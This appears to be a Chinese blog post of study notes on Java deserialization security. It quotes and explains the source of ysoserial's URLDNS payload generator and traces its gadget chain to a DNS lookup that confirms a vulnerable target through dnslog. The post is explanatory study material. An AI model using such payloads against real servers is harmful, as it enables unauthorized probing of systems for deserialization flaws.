p牛java安全漫谈学习笔记

p牛java安全漫谈学习笔记,第1张

文章目录
      • 关于反序列化
        • urldns链

关于反序列化

ysoserial下载分析地址:https://github.com/frohoff/ysoserial

php反序列化主要是魔术方法,与java反序列化类似,主要是把对象进行json或者xml的序列化和反序列化。


php主要是可以控制对象的属性利用控制的对象的属性在后续代码中进行危险 *** 作

java的话是因为很多反序列化的代码是由开发者进行开发的,再加上java的应用十分广泛,所以java的反序列化攻击面为最广的。


python的话p牛只提了一嘴,大致意思就是python反序列化是在执行基于栈的虚拟机,我们可以 *** 控栈中的数据于是python反序列化危害基本是最大的。


urldns链

查看urldns文件。


public class URLDNS implements ObjectPayload {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                //避免在创建负载时解析DNS
                //因为字段java.net.URL.handler是瞬态的,它不会是序列化有效负载的一部分。


URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 该值可以是任何可序列化的,URL作为关键是触发DNS查找。


Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 在上面的放置过程中,计算并缓存URL的hashCode。


这将重置它,以便下次调用hashCode时触发DNS查找。


return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } /** *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

* * Potential false negative: *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

*/ //URLStreamHandler的这个实例用于在创建URL实例时避免任何DNS解析。


DNS解析用于漏洞检测。


重要的是,不要在使用序列化对象之前探测给定的URL。


潜在的假阴性:如果首先从测试者计算机解析DNS名称,那么目标服务器可能在第二次解析时获得缓存命中。


static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }

利用链:run()->HashMap()->hashmap中的readobject()->hash(key)->hashCode()->handler.hashCode()->getHostAddress()。


在getHostAddress中存在以下代码

try {
            hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException | SecurityException ex) {
            return null;
        }

InetAddress.getByName(host) 的作⽤用是根据主机名,获取其IP地址,由此可用dnslog打回显。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/570587.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-09
下一篇 2022-04-09

发表评论

登录后才能评论

评论列表(0条)